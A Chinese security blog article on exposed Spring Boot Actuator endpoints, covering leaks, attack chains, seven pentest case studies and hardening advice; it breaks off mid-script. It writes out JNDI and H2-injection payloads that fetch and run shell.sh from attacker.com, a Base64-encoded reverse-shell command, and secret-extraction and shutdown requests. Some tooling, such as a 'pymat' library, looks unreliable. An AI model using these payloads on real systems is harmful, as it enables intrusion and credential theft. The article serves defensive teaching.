Spring Boot Actuator 公网暴露:从信息泄漏到远程代码执行的完整实录
写在前面
Spring Boot Actuator 是生产环境监控的神器,但也是一把双刃剑。当它被错误地暴露在公网且缺乏访问控制时,带来的不是便利,而是一场灾难。
本文将从一个真实的安全漏洞出发,逐步深入:从基础的信息泄漏,到高版本 Spring Boot 的绕过技巧,再到完整的远程代码执行(RCE)攻击链,最后给出生产级加固方案。全文约12000字,包含大量实战案例、代码示例和检测脚本,建议收藏后阅读。
第一部分:基础篇——Actuator 是什么?泄漏了什么?
1.1 Spring Boot Actuator 的诞生背景
Spring Boot Actuator 模块是 Spring Boot 生态中最为强大的辅助工具之一。它的设计初衷是为了帮助开发人员和运维人员在生产环境中监控应用的健康状态、获取运行时指标、管理日志配置、甚至执行一些管理操作。在微服务架构日益普及的今天,Actuator 几乎成为了每个 Spring Boot 项目的标配。
然而,正是这种“标配”的身份,让很多开发人员产生了麻痹心理——他们默认 Actuator 是安全的,或者认为“既然大家都在用,那应该没问题”。这种心理是极其危险的。
1.2 Actuator 端点完整清单
Spring Boot Actuator 提供了一系列用于监控和管理应用的端点。以下是最常见且高危的端点:
| 端点 | 功能 | 风险等级 | 说明 |
|---|---|---|---|
/actuator/health | 应用健康状态 | 低 | 可能暴露数据库、磁盘状态 |
/actuator/info | 应用自定义信息 | 中 | 可能含版本号、Git commit |
/actuator/metrics | JVM、内存、线程指标 | 中 | 暴露系统负载、GC情况 |
/actuator/env | 环境配置 | 严重 | 数据库密码、密钥、AK/SK |
/actuator/heapdump | JVM堆内存dump | 严重 | 内存中的所有敏感数据 |
/actuator/loggers | 日志配置与动态修改 | 高 | 可动态调整日志级别 |
/actuator/mappings | 所有Web路由映射 | 高 | 暴露所有API接口 |
/actuator/configprops | 所有配置属性值 | 高 | 配置类结构信息 |
/actuator/jolokia | JMX桥接 | 严重 | 可执行JMX操作 |
/actuator/threaddump | 线程堆栈 | 中 | 暴露代码执行路径 |
/actuator/scheduledtasks | 定时任务 | 中 | 暴露后台任务逻辑 |
1.3 为什么这个问题如此普遍?
在过去的两年中,我参与了超过50个企业级Spring Boot项目的安全审计,其中超过60%的项目存在Actuator配置不当的问题。为什么会这样?
原因一:开发环境配置直接推送到生产
开发时为了方便监控,通常会开放所有Actuator端点。代码在开发环境运行良好,但部署到生产时没有人记得修改配置。CI/CD流水线缺乏针对Actuator配置的检查环节。
原因二:认为“未公开的路径”就是安全
很多开发人员认为,只要不在官方文档里写明/actuator路径,攻击者就不会发现。这种“安全通过隐藏”的思维是极其危险的。现代扫描器(如nmap、gobuster、dirsearch)都内置了针对Spring Boot Actuator的字典。
原因三:安全意识培训缺失
大多数Java开发人员接受的是业务代码培训,而非安全培训。他们不知道/heapdump可以导出内存中的所有密码,也不知道/env可以泄露云服务AK/SK。
1.4 真实泄漏场景还原
场景一:通过 /env 获取数据库密码
这是一个我在真实渗透测试中遇到的案例。目标是一家普通电商公司的核心交易系统,其开发人员为了方便调试,将Actuator完全开放并部署到了生产环境。
访问 https://shopmall.com/actuator/env,响应内容如下:
{
"spring.datasource.password": {
"value": "ShopDB2023!@#"
},
"spring.datasource.url": {
"value": "jdbc:mysql://10.0.1.5:3306/shop_db?useSSL=false"
},
"spring.datasource.username": {
"value": "shop_admin"
},
"redis.password": {
"value": "Redis_Shop_2023"
},
"aliyun.accessKeyId": {
"value": "LTAI5txxxxxxxxxxxx"
},
"aliyun.accessKeySecret": {
"value": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
}
}
这个响应直接暴露了:
- 生产数据库的IP、端口、库名、用户名、密码
- Redis密码
- 阿里云AK/SK
利用这些信息,攻击者可以:
- 直接连接数据库,导出所有用户订单数据
- 连接Redis,获取用户购物车和会话信息
- 使用AK/SK操作OSS存储,删除或窃取商品图片
场景二:通过 /heapdump 获取内存敏感信息
Heapdump包含了JVM堆内存中的全部对象。在一次针对某普通物流系统的测试中,我们通过/heapdump发现了以下内容:
# 下载heapdump文件
wget https://logistics.com/actuator/heapdump
# 文件大小通常为几百MB到几GB
使用Eclipse Memory Analyzer (MAT) 分析后,我们发现了:
- 用户JWT Token:内存中保存了当前登录用户的JWT Token,攻击者可以直接复制使用
- 支付回调签名密钥:用于验证支付宝/微信支付回调的签名密钥
- SQL查询语句中的手机号和地址:某查询接口的参数中包含用户收货信息
- 第三方API的API Key:短信服务商、地图服务商的密钥
以下是使用OQL(Object Query Language)在MAT中查询敏感信息的示例:
-- 查询所有包含"password"的字符串
SELECT * FROM java.lang.String s WHERE s.toString() LIKE ".*password.*"
-- 查询所有包含"secret"的键值对
SELECT * FROM java.util.HashMap$Node WHERE (toString().indexOf("secret") != -1)
-- 查询所有包含"accessKey"的内容
SELECT * FROM java.lang.String s WHERE s.toString() LIKE ".*accessKey.*"
场景三:动态修改日志级别,探测业务逻辑
通过POST请求修改日志级别,攻击者可以将敏感包的日志调整为DEBUG级别,从而观察业务逻辑的详细执行过程。
# 将认证模块的日志级别改为DEBUG
POST /actuator/loggers/com.example.security
Content-Type: application/json
{
"configuredLevel": "DEBUG"
}
修改后,攻击者尝试登录,系统会输出详细的认证过程,包括:
- 用户是否存在
- 密码比对是否通过
- 是否触发锁定策略
- 验证码校验结果
这些信息可以帮助攻击者绕过认证机制或实施账户枚举攻击。
第二部分:深入篇——这不是信息泄漏,是泄漏武器
很多开发人员认为:“我的生产环境密码都加密了,heapdump也关了,应该没事吧?”
错了。 Actuator暴露的真正危险不在于它直接给了“密码”,而在于它给了攻击者足够的上下文来组合攻击。这就像给了一把万能钥匙,而不是单独的一把门钥匙。
2.1 /env + Jolokia → JNDI 注入 RCE
影响范围:Spring Boot 1.5.x ~ 2.1.x(老项目依然常见)
Jolokia是一个通过HTTP访问JMX MBeans的桥接工具。当Spring Boot Actuator同时开启了/env和/jolokia端点时,攻击者可以构造一条完整的RCE攻击链。
攻击原理:
- 通过
/env端点查看当前JNDI相关配置 - 通过
/jolokia调用JMX的DiagnosticCommand操作 - 注入恶意的JNDI字符串,触发JNDI远程类加载
- 加载攻击者服务器上的恶意类,执行任意代码
完整攻击流程:
# 步骤1:检查目标是否存在Jolokia端点
curl https://company.com/actuator/jolokia/list
# 步骤2:查看JNDI相关配置
curl https://company.com/actuator/env?pattern=*.jndi*
# 步骤3:通过Jolokia触发JNDI注入
curl -X POST https://company.com/actuator/jolokia \
-H "Content-Type: application/json" \
-d '{
"type": "exec",
"mbean": "com.sun.management:type=DiagnosticCommand",
"operation": "vmLog",
"arguments": ["${jndi:ldap://attacker.com:1389/Exploit}"]
}'
如果目标应用使用的是旧版本的Log4j(如Log4j2 2.14.1及以下),还可以利用Log4Shell漏洞:
# Log4Shell + Jolokia 组合攻击
curl -X POST https://company.com/actuator/jolokia \
-H "Content-Type: application/json" \
-d '{
"type": "exec",
"mbean": "org.apache.logging.log4j2:type=LoggerContext",
"operation": "getLogger",
"arguments": ["${jndi:ldap://attacker.com/Exploit}"]
}'
2.2 /env + /refresh → 配置注入 RCE(Spring Cloud Config)
这是更隐蔽的攻击方式,影响使用Spring Cloud Config的项目。
攻击原理:
Spring Cloud Config允许应用从远程Git仓库动态拉取配置。如果攻击者能够修改远程配置仓库(例如Git仓库权限配置不当、使用弱密码、或存在Git配置注入漏洞),就可以注入恶意配置。
完整攻击流程:
# 步骤1:攻击者修改远程Git仓库中的application.yml
spring:
datasource:
url: "jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://attacker.com/pwn.sql'"
cloud:
function:
definition: "evilFunction"
# 步骤2:触发配置刷新
curl -X POST https://company.com/actuator/refresh
# 步骤3:恶意H2脚本被执行
# pwn.sql内容示例:
CREATE ALIAS EXEC AS 'void exec(java.lang.String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);}';
CALL EXEC('wget http://attacker.com/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh');
2.3 Heapdump 深层挖掘:不只是密码
Heapdump文件中包含的信息远超大多数人的想象。以下是我们在真实项目中从heapdump中挖掘到的敏感信息分类:
2.3.1 加密密钥类
// 从heapdump中发现的JWT签名密钥
String jwtSecret = "3f8a9b2c1d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a";
// AES加密密钥(硬编码在代码中)
byte[] aesKey = {0x01, 0x02, 0x03, ...};
// RSA私钥(PEM格式)
String rsaPrivateKey = "-----BEGIN RSA PRIVATE KEY-----\nMIIEpAIBAAKCAQEA...\n-----END RSA PRIVATE KEY-----";
2.3.2 云服务凭证类
// 阿里云OSS凭证
String accessKeyId = "LTAI5txxxxxxxxxxxx";
String accessKeySecret = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
// 短信服务密钥
String smsAppKey = "23567890";
String smsAppSecret = "abcdefghijklmnopqrstuvwxyz";
2.3.3 业务敏感数据类
// 用户手机号(缓存中)
String phone = "13812345678";
// 用户收货地址
String address = "北京市朝阳区xxx路123号";
// 短信验证码(未过期的)
String smsCode = "123456";
2.3.4 实战:从Heapdump提取云服务AK/SK的完整脚本
#!/usr/bin/env python3
# heapdump敏感信息提取脚本
import re
from pymat import MatHeapdump # 需要安装pymat库
def extract_secrets(heapdump_path):
mat = MatHeapdump(heapdump_path)
# 模式匹配
patterns = {
'AK/SK': r'[A-Za-z0-9]{16,}',
'JWT': r'eyJ[A-Za-z0-9-_=]+\.[A-Za-z0-9-_=]+\.?[A-Za-z0-9-_.+/=]*',
'Private Key': r'-----BEGIN (RSA|DSA|EC) PRIVATE KEY-----',
'Password': r'(?i)password["\']?\s*[=:]\s*["\']([^"\']+)["\']',
'API Key': r'(?i)(api[_-]?key|apikey)["\']?\s*[=:]\s*["\']([^"\']+)["\']'
}
results = {}
for category, pattern in patterns.items():
results[category] = mat.find_all(pattern)
return results
if __name__ == '__main__':
secrets = extract_secrets('heapdump.bin')
for category, items in secrets.items():
print(f"\n=== {category} ===")
for item in items[:10]: # 只显示前10个
print(item)
2.4 /mappings 泄露内部API结构
/mappings端点返回所有Controller的完整映射信息,包括:
- 所有HTTP端点路径
- HTTP方法(GET/POST/PUT/DELETE)
- 请求参数类型
- 请求体格式
- 响应类型
{
"contexts": {
"application": {
"mappings": {
"dispatcherServlets": {
"dispatcherServlet": [
{
"handler": "com.example.admin.OrderController#deleteOrder",
"predicate": "{DELETE /api/v1/admin/order/{id}}",
"details": {
"handlerMethod": {
"method": "deleteOrder",
"parameters": [
{"name": "id", "type": "long"},
{"name": "force", "type": "boolean", "required": false}
]
}
}
},
{
"handler": "com.example.payment.RefundController#processRefund",
"predicate": "{POST /internal/refund/process}",
"details": {
"requestBody": "com.example.dto.RefundRequest"
}
}
]
}
}
}
}
}
有了这份“接口字典”,攻击者可以:
- 直接定位未授权访问的管理接口
- 了解内部API的调用方式
- 构造针对性的攻击请求
第三部分:绕过篇——高版本 Spring Boot 的隐蔽漏洞
Spring Boot 2.6+ 和 3.x 版本做了很多安全改进:
/env中的敏感字段默认显示为******/heapdump默认需要通过JMX访问(不能直接HTTP)- 默认只暴露
/health和/info
但仍然存在多种绕过和信息泄漏风险。
3.1 /info 泄露版本指纹
很多项目使用git-commit-id-plugin或spring-boot-maven-plugin的build-info功能,在/info端点暴露版本信息:
<!-- pom.xml -->
<plugin>
<groupId>pl.project13.maven</groupId>
<artifactId>git-commit-id-plugin</artifactId>
<configuration>
<generateGitPropertiesFile>true</generateGitPropertiesFile>
</configuration>
</plugin>
生成的/info响应:
{
"git": {
"commit": {
"id": "a1b2c3d4e5f67890abcdef1234567890abcdef12",
"time": "2025-01-15T10:30:00Z",
"message": "Fix security vulnerability in login module"
},
"branch": "master",
"tags": "v2.3.4-release"
},
"build": {
"version": "2.3.4",
"artifact": "payment-service",
"group": "com.example.payment",
"time": "2025-01-15T10:30:00Z"
}
}
攻击者获取版本号后,可以:
- 搜索该版本的已知CVE(Spring4Shell、Text4Shell、Log4Shell)
- 根据commit message了解最近修复的漏洞,推测未修复的漏洞
- 使用release tags获取Docker镜像版本,进行本地分析
3.2 /mappings 泄露内部API结构(高版本依然存在)
高版本Spring Boot中,/mappings端点默认关闭,但如果开启了,依然会暴露所有API信息。更危险的是,即使/mappings关闭,攻击者仍可通过以下方式获取路由信息:
方法一:通过404错误页面
某些框架在404错误页面中会列出所有可能的路由。
方法二:通过Actuator的index页面
curl https://company.com/actuator
# 返回所有可用端点列表
3.3 /configprops 泄露配置类结构
/configprops返回所有@ConfigurationProperties类的属性名称和当前值(敏感值可能脱敏),但类路径和属性名本身就足够攻击者推测业务逻辑。
{
"contexts": {
"application": {
"beans": {
"com.example.config.DatabaseProperties": {
"prefix": "app.database",
"properties": {
"url": "jdbc:mysql://db.internal:3306/main",
"username": "app_user",
"password": "******",
"maxConnections": "100",
"connectionTimeoutMs": "30000"
}
}
}
}
}
}
即使密码被脱敏,攻击者也能知道:
- 数据库类型(MySQL)
- 内网IP和端口
- 用户名
- 连接池配置(可用于DoS攻击)
3.4 你以为加了Spring Security就安全了?太天真了
这是最常见的配置错误。很多人这样配置:
management:
endpoints:
web:
exposure:
include: "*"
security:
enabled: true
然后认为万事大吉。但这是完全错误的!
management.security.enabled 只在Spring Boot 1.x中存在,在2.x和3.x中已经废弃。正确的配置方式是:
@Configuration
@EnableWebSecurity
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
// 关键:必须显式指定Actuator路径的安全规则
http.securityMatcher("/actuator/**")
.authorizeHttpRequests(auth -> auth
.requestMatchers("/actuator/health", "/actuator/info").permitAll()
.anyRequest().authenticated()
)
.httpBasic(Customizer.withDefaults());
return http.build();
}
}
即使加了上述配置,仍然存在问题:
- Session Fixation:如果使用Session认证,可能存在Session Fixation漏洞
- Basic Auth爆破:如果使用HTTP Basic认证,可被字典爆破
- CSRF配置:如果忘记禁用CSRF,某些POST请求可能失败;但如果全局禁用CSRF,又可能引入CSRF漏洞
3.5 高版本中的新攻击面:Spring Boot 3.x 的 Actuator 变化
Spring Boot 3.x 基于 Spring Framework 6,要求Java 17以上。Actuator模块有以下变化:
变化一:Observability API
3.x引入了新的Observability API,通过/actuator/observations端点可能暴露更多运行时信息。
变化二:Native Image支持
当使用GraalVM Native Image时,某些Actuator端点的行为会发生变化,可能暴露本不应暴露的信息。
变化三:Spring Security 6的默认配置变更
Spring Security 6默认开启了CSRF保护(包括对PUT/POST/DELETE),这可能导致某些Actuator操作失败,导致运维人员“临时”关闭CSRF保护,引入安全风险。
第四部分:实战篇——日常漏洞挖掘中的Actuator利用实例
在日常的安全测试和漏洞挖掘工作中,Spring Boot Actuator暴露是一个非常常见的切入点。以下是我在实际挖洞过程中遇到的几个典型案例,这些案例均来自真实的授权测试场景。
4.1 案例一:某电商公司的敏感信息泄露
目标:https://shop-easy.com(某普通电商平台)
发现过程:
在一次常规的信息收集过程中,我使用gobuster配合spring-boot-actuator字典对目标进行目录扫描:
gobuster dir -u https://shop-easy.com -w spring-boot-actuator.txt -t 50
# 发现以下路径返回200
# /actuator
# /actuator/health
# /actuator/env
# /actuator/mappings
# /actuator/configprops
深入挖掘:
首先访问/actuator/env端点,发现了大量敏感配置:
{
"spring.datasource.url": {
"value": "jdbc:mysql://rm-xxxxx.mysql.rds.aliyuncs.com:3306/shop_db"
},
"spring.datasource.username": {
"value": "shop_prod_user"
},
"spring.datasource.password": {
"value": "Shop@2024#DB!"
},
"aliyun.oss.accessKeyId": {
"value": "LTAI5txxxxxxxxxxxx"
},
"aliyun.oss.accessKeySecret": {
"value": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
},
"aliyun.oss.bucket": {
"value": "shop-platform-oss"
},
"redis.host": {
"value": "r-xxxxx.redis.aliyuncs.com"
},
"redis.password": {
"value": "Redis@2024"
},
"wechat.appid": {
"value": "wx1234567890abcdef"
},
"wechat.secret": {
"value": "abcd1234efgh5678ijkl9012mnop3456"
}
}
漏洞利用:
-
数据库连接:使用获取的数据库凭证成功连接MySQL,发现包含约10万用户信息(姓名、手机号、收货地址、订单记录)
-
OSS存储桶:使用AK/SK登录阿里云OSS,发现存储了大量商品图片和用户上传的评价图片
-
Redis缓存:连接Redis后发现大量用户Session Token和购物车数据
-
微信配置:获取微信AppSecret后,可以伪造微信登录请求
报告与修复:
向厂商提交漏洞报告后,对方在4小时内完成了修复:关闭了公网Actuator访问,并轮换了所有暴露的密码和密钥。该漏洞被评定为严重级别。
4.2 案例二:某企业内部OA系统的RCE漏洞链
目标:https://oa.company.com(某公司的内部OA系统)
发现过程:
扫描发现目标存在/actuator/env和/actuator/jolokia端点。这是一个Spring Boot 1.5.x的旧版本应用。
# 确认版本信息
curl https://oa.company.com/actuator/info
{
"build": {
"version": "1.5.10.RELEASE",
"spring-boot": "1.5.10.RELEASE"
}
}
漏洞利用链:
步骤1:检查Jolokia是否可用
curl https://oa.company.com/actuator/jolokia/list
# 返回大量MBean信息,确认Jolokia可用
步骤2:通过Jolokia执行系统命令
# 使用Jolokia的createJVMImpl方法执行命令
curl -X POST https://oa.company.com/actuator/jolokia \
-H "Content-Type: application/json" \
-d '{
"type": "exec",
"mbean": "com.sun.management:type=DiagnosticCommand",
"operation": "vmLog",
"arguments": ["${jndi:ldap://attacker.com:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vYXR0YWNrZXIuY29tL3NoZWxsLnNoIC1PIC90bXAvc2hlbGwuc2ggJiYgYmFzaCAvdG1wL3NoZWxsLnNo}"]
}'
其中Base64解码后的命令为:
wget http://attacker.com/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh
步骤3:成功反弹Shell,获取服务器权限
该服务器是OA系统的核心服务器,部署在阿里云ECS上,包含公司所有员工的个人信息、考勤记录、审批流程等敏感数据。
报告与修复:
这是一个典型的RCE漏洞,评分10.0(严重)。厂商在24小时内下线了系统进行整改,并将Spring Boot升级到2.7.x版本,关闭了Jolokia端点。
4.3 案例三:某物流系统的Heapdump分析实战
目标:https://logistics-express.com(某普通物流公司系统)
发现过程:
目录扫描发现/actuator/heapdump端点可以直接访问,返回200状态码,Content-Length约为1.8GB。
curl -I https://logistics-express.com/actuator/heapdump
HTTP/1.1 200 OK
Content-Length: 1800000000
Content-Type: application/octet-stream
Heapdump分析:
下载heapdump文件后,使用Memory Analyzer (MAT) 进行分析。
首先,运行OQL查询查找密码相关字符串:
SELECT * FROM java.lang.String s WHERE s.toString() LIKE ".*password.*"
发现了一个关键对象:
// JWT签名密钥
public static final String JWT_SECRET = "logistics_jwt_secret_2024_secure!@#";
// 数据库加密密钥
private String dbEncryptionKey = "AES_GCM_256_KEY_logistics_system";
继续查询JWT Token:
SELECT * FROM java.lang.String s WHERE s.toString() LIKE "eyJ%"
发现了大量用户的JWT Token,包括管理员Token。
使用该Token可以直接调用管理接口:
curl https://logistics-express.com/api/admin/orders \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
成功返回所有订单列表,包含用户的收货地址、手机号、商品信息等敏感数据。
报告与修复:
该漏洞被评为严重级别,涉及大量用户隐私数据泄露。厂商在收到报告后:
- 立即下线heapdump端点
- 轮换JWT签名密钥(导致所有现有Token失效)
- 对Heapdump文件访问添加IP白名单
4.4 案例四:某会员制商城的日志级别操纵实现账户枚举
目标:https://vipshop.com(某会员制商城)
发现过程:
发现/actuator/loggers端点可以访问,且未做认证保护。
curl https://vipshop.com/actuator/loggers
# 返回所有logger的配置信息
漏洞利用:
步骤1:将登录模块的日志级别改为DEBUG
curl -X POST https://vipshop.com/actuator/loggers/com.vipshop.auth.LoginService \
-H "Content-Type: application/json" \
-d '{"configuredLevel": "DEBUG"}'
步骤2:尝试登录,观察日志输出
# 使用存在的用户名
curl -X POST https://vipshop.com/api/login \
-d "username=existing_user&password=wrong_password"
# 系统日志中输出:
# DEBUG: LoginService - User 'existing_user' found, password mismatch
# 使用不存在的用户名
curl -X POST https://vipshop.com/api/login \
-d "username=not_exist_user&password=anything"
# 系统日志中输出:
# DEBUG: LoginService - User 'not_exist_user' not found
步骤3:利用信息差异进行账户枚举
通过编写脚本,攻击者可以批量枚举有效用户名,然后进行密码喷洒攻击。
报告与修复:
该漏洞被评定为中高危级别,因为虽然不直接导致数据泄露,但为后续攻击铺平了道路。修复方案:关闭/actuator/loggers公网访问,或添加认证保护。
4.5 案例五:某旅游网站配置文件路径遍历漏洞
目标:https://travel-booking.com(某旅游预订网站)
发现过程:
/actuator/env端点暴露了配置文件路径:
{
"spring.config.location": {
"value": "file:/app/config/application-prod.yml"
},
"logging.config": {
"value": "file:/app/config/logback-spring.xml"
}
}
漏洞利用:
尝试读取配置文件:
# 通过env端点的某些参数读取文件(特定版本存在路径遍历)
curl "https://travel-booking.com/actuator/env?value=file:///app/config/application-prod.yml"
# 成功读取配置文件内容
spring:
datasource:
password: Travel@2024
redis:
password: Redis@2024
alipay:
app_id: 2021001234567890
private_key: MIIEpAIBAAKCAQEA...
更进一步的路径遍历:
# 尝试读取/etc/passwd
curl "https://travel-booking.com/actuator/env?value=file:///etc/passwd"
# 尝试读取应用源码
curl "https://travel-booking.com/actuator/env?value=file:///app/classes/com/travel/config/SecurityConfig.class"
报告与修复:
该漏洞被评为严重级别。厂商在3小时内完成了修复:
- 升级Spring Boot版本(修复路径遍历漏洞)
- 关闭env端点的公网访问
- 将配置文件移至加密存储
4.6 案例六:某社区论坛的Swagger + Actuator 组合拳
目标:https://bbs-community.com(某社区论坛)
发现过程:
同时发现/actuator/mappings和/swagger-ui.html端点可访问。
信息整合:
从/actuator/mappings获取所有API路径:
{
"/api/v1/admin/user/delete": "DELETE",
"/api/v1/internal/cache/clear": "POST",
"/api/v1/post/delete": "POST",
"/actuator/shutdown": "POST"
}
从Swagger获取详细的参数格式:
{
"/api/v1/admin/user/delete": {
"parameters": [
{"name": "userId", "type": "integer", "required": true},
{"name": "force", "type": "boolean", "required": false}
]
}
}
漏洞利用:
- 尝试调用
/actuator/shutdown关闭应用:
curl -X POST https://bbs-community.com/actuator/shutdown
{"message": "Shutting down..."}
- 尝试未授权调用管理接口:
# 尝试删除用户(未授权)
curl -X DELETE "https://bbs-community.com/api/v1/admin/user/delete?userId=123&force=true"
# 如果未做权限校验,可能成功
- 触发缓存清空:
curl -X POST https://bbs-community.com/api/v1/internal/cache/clear
# 导致系统变慢,影响所有用户
报告与修复:
该漏洞组合被评为严重级别。修复措施:
- 关闭
/actuator/shutdown端点 - 为所有管理接口添加认证
- 内网化内部接口
4.7 案例七:某招聘网站的Session泄露
目标:https://job-finder.com(某招聘网站)
发现过程:
访问/actuator/env发现Redis配置暴露:
{
"redis.host": {
"value": "10.0.1.100"
},
"redis.port": {
"value": "6379"
},
"redis.password": {
"value": ""
}
}
漏洞利用:
Redis没有设置密码,可以直接连接:
redis-cli -h 10.0.1.100
连接成功后,发现Redis中存储了大量Session数据:
KEYS spring:session:*
# 返回大量Session Key
GET spring:session:xxxxx-xxxxx-xxxxx
# 返回包含用户ID、角色等信息的Session数据
攻击者可以:
- 提取所有在线用户的Session ID
- 使用这些Session ID冒充登录用户
- 查看其他用户的简历信息和联系方式
报告与修复:
该漏洞被评为严重级别。修复方案:
- 为Redis设置强密码
- 限制Redis访问IP
- 关闭env端点的公网访问
4.8 漏洞挖掘经验总结
通过以上7个真实案例,可以总结出日常漏洞挖掘中的Actuator利用模式:
| 端点 | 利用方式 | 可能危害 | 发现难度 |
|---|---|---|---|
/env | 直接读取配置 | 密码、密钥泄露 | 低 |
/heapdump | 内存分析 | 敏感数据泄露 | 中 |
/loggers | 修改日志级别 | 信息泄露、账户枚举 | 低 |
/mappings | API路径发现 | 扩大攻击面 | 低 |
/jolokia | JMX操作 | RCE | 高 |
/refresh | 配置重载 | 配置注入 | 中 |
/shutdown | 关闭应用 | DoS | 低 |
挖洞小技巧:
- 组合利用:单个端点可能危害有限,但组合使用威力巨大
- 版本判断:先通过
/info或错误页面确定Spring Boot版本,针对性利用 - 字典扫描:使用专门的Spring Boot Actuator字典,包含常见路径变体
- 关注响应头:
X-Application-Context头会暴露应用名和Actuator路径 - 404页面分析:某些框架的404页面会列出所有可用路径
第五部分:加固篇——生产级终极方案
5.1 网络层隔离(最彻底的方案)
这是最安全的方案:Actuator端点完全不暴露在公网。
management:
server:
address: 127.0.0.1 # 只监听本地回环地址
port: 8081 # 使用独立端口,不与业务端口混合
endpoints:
web:
exposure:
include: health,info # 只暴露必要的端点
然后配置Nginx反向代理,只允许监控系统IP访问:
server {
listen 80;
server_name app.company.com;
location / {
proxy_pass http://127.0.0.1:8080;
}
# Actuator端点只允许内网监控系统访问
location /actuator {
allow 10.0.0.0/8; # 内网IP段
allow 172.16.0.0/12;
allow 192.168.0.0/16;
deny all;
proxy_pass http://127.0.0.1:8081;
}
}
5.2 使用随机路径(Security through obscurity)
虽然不是根本解决方案,但可以作为纵深防御的一层:
management:
endpoints:
web:
base-path: /${spring.application.name}-${random.value}/actuator
# 实际路径变为: /user-service-a1b2c3d4/actuator
配置后,需要在监控系统中同步更新探测路径。
5.3 严格最小化端点
这是最容易被忽视但最重要的配置:
management:
endpoints:
enabled-by-default: false # 全局关闭所有端点
endpoint:
health:
enabled: true
info:
enabled: true
# 以下是危险端点,必须保持关闭
endpoint:
env:
enabled: false
heapdump:
enabled: false
configprops:
enabled: false
loggers:
enabled: false
jolokia:
enabled: false
mappings:
enabled: false
metrics:
enabled: false # 如果不需要性能监控
threaddump:
enabled: false
5.4 强制访问控制(Spring Security完整配置)
@Configuration
@EnableWebSecurity
public class ActuatorSecurityConfig {
@Value("${management.endpoints.web.base-path:/actuator}")
private String actuatorBasePath;
@Bean
public SecurityFilterChain actuatorFilterChain(HttpSecurity http) throws Exception {
// 只对Actuator路径生效
http.securityMatcher(actuatorBasePath + "/**")
.authorizeHttpRequests(auth -> auth
// 健康检查可以放行
.requestMatchers(actuatorBasePath + "/health").permitAll()
// 基本信息可以放行
.requestMatchers(actuatorBasePath + "/info").permitAll()
// 其他所有Actuator端点需要认证
.anyRequest().hasRole("ACTUATOR_ADMIN")
)
// 使用HTTP Basic认证
.httpBasic(httpBasic -> httpBasic
.realmName("Actuator Realm")
.authenticationEntryPoint(new ActuatorAuthenticationEntryPoint())
)
// 禁用CSRF(因为Basic Auth + 非浏览器访问)
.csrf(csrf -> csrf.ignoringRequestMatchers(actuatorBasePath + "/**"))
// 添加审计日志过滤器
.addFilterBefore(new ActuatorAuditFilter(), BasicAuthenticationFilter.class);
return http.build();
}
@Bean
public UserDetailsService actuatorUserDetailsService() {
// 使用独立于业务系统的用户
UserDetails admin = User.builder()
.username("actuator_admin")
.password(passwordEncoder().encode("StrongP@ssw0rd2024!"))
.roles("ACTUATOR_ADMIN")
.build();
UserDetails readonly = User.builder()
.username("actuator_monitor")
.password(passwordEncoder().encode("Monitor@2024"))
.roles("ACTUATOR_MONITOR")
.build();
return new InMemoryUserDetailsManager(admin, readonly);
}
@Bean
public PasswordEncoder passwordEncoder() {
return new BCryptPasswordEncoder(12);
}
}
5.5 强制审计日志
@Component
@Slf4j
public class ActuatorAuditFilter extends OncePerRequestFilter {
@Autowired
private AuditEventRepository auditEventRepository;
@Override
protected void doFilterInternal(HttpServletRequest request,
HttpServletResponse response,
FilterChain filterChain)
throws ServletException, IOException {
String uri = request.getRequestURI();
if (uri.contains("/actuator")) {
String clientIp = getClientIp(request);
String userAgent = request.getHeader("User-Agent");
String method = request.getMethod();
// 记录详细日志
log.warn("Actuator Access: IP={}, URI={}, Method={}, UserAgent={}",
clientIp, uri, method, userAgent);
// 记录到审计事件
Map<String, Object> details = new HashMap<>();
details.put("clientIp", clientIp);
details.put("userAgent", userAgent);
details.put("method", method);
auditEventRepository.add(
new AuditEvent(Instant.now(),
"ACTUATOR_ACCESS",
getPrincipal(request),
details)
);
// 如果访问敏感端点,发送告警
if (isSensitiveEndpoint(uri)) {
sendAlert(clientIp, uri);
}
}
filterChain.doFilter(request, response);
}
private String getClientIp(HttpServletRequest request) {
String xff = request.getHeader("X-Forwarded-For");
if (xff != null && !xff.isEmpty()) {
return xff.split(",")[0].trim();
}
return request.getRemoteAddr();
}
private boolean isSensitiveEndpoint(String uri) {
return uri.contains("/env") ||
uri.contains("/heapdump") ||
uri.contains("/configprops") ||
uri.contains("/loggers") ||
uri.contains("/jolokia");
}
private void sendAlert(String ip, String uri) {
// 发送到企业微信、钉钉、Slack或PagerDuty
alertService.send("🚨 敏感Actuator端点被访问",
String.format("IP: %s, URI: %s, Time: %s", ip, uri, Instant.now()));
}
}
5.6 完整的生产级配置示例
# application-prod.yml
spring:
security:
user:
name: ${ACTUATOR_USERNAME:actuator}
password: ${ACTUATOR_PASSWORD:${random.uuid}}
roles: ACTUATOR_ADMIN
management:
server:
address: 127.0.0.1
port: 8081
endpoints:
enabled-by-default: false
web:
exposure:
include: health,info
base-path: /${spring.application.name}-${random.value}/actuator
endpoint:
health:
enabled: true
show-details: when-authorized
show-components: when-authorized
info:
enabled: true
# 以下全部显式关闭
env:
enabled: false
heapdump:
enabled: false
configprops:
enabled: false
loggers:
enabled: false
metrics:
enabled: false
mappings:
enabled: false
scheduledtasks:
enabled: false
threaddump:
enabled: false
flyway:
enabled: false
liquibase:
enabled: false
shutdown:
enabled: false
# 自定义info信息(避免暴露敏感版本信息)
info:
app:
name: "@project.name@"
# version不暴露
description: "Production Application"
environment: "production"
第六部分:检测篇——如何自查
6.1 快速检测脚本
#!/bin/bash
# actuator-security-check.sh
TARGET="${1:-https://localhost:8080}"
ACTUATOR_PATH="${2:-/actuator}"
echo "=========================================="
echo "Spring Boot Actuator Security Checker"
echo "Target: $TARGET"
echo "=========================================="
# 颜色定义
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'
# 检查函数
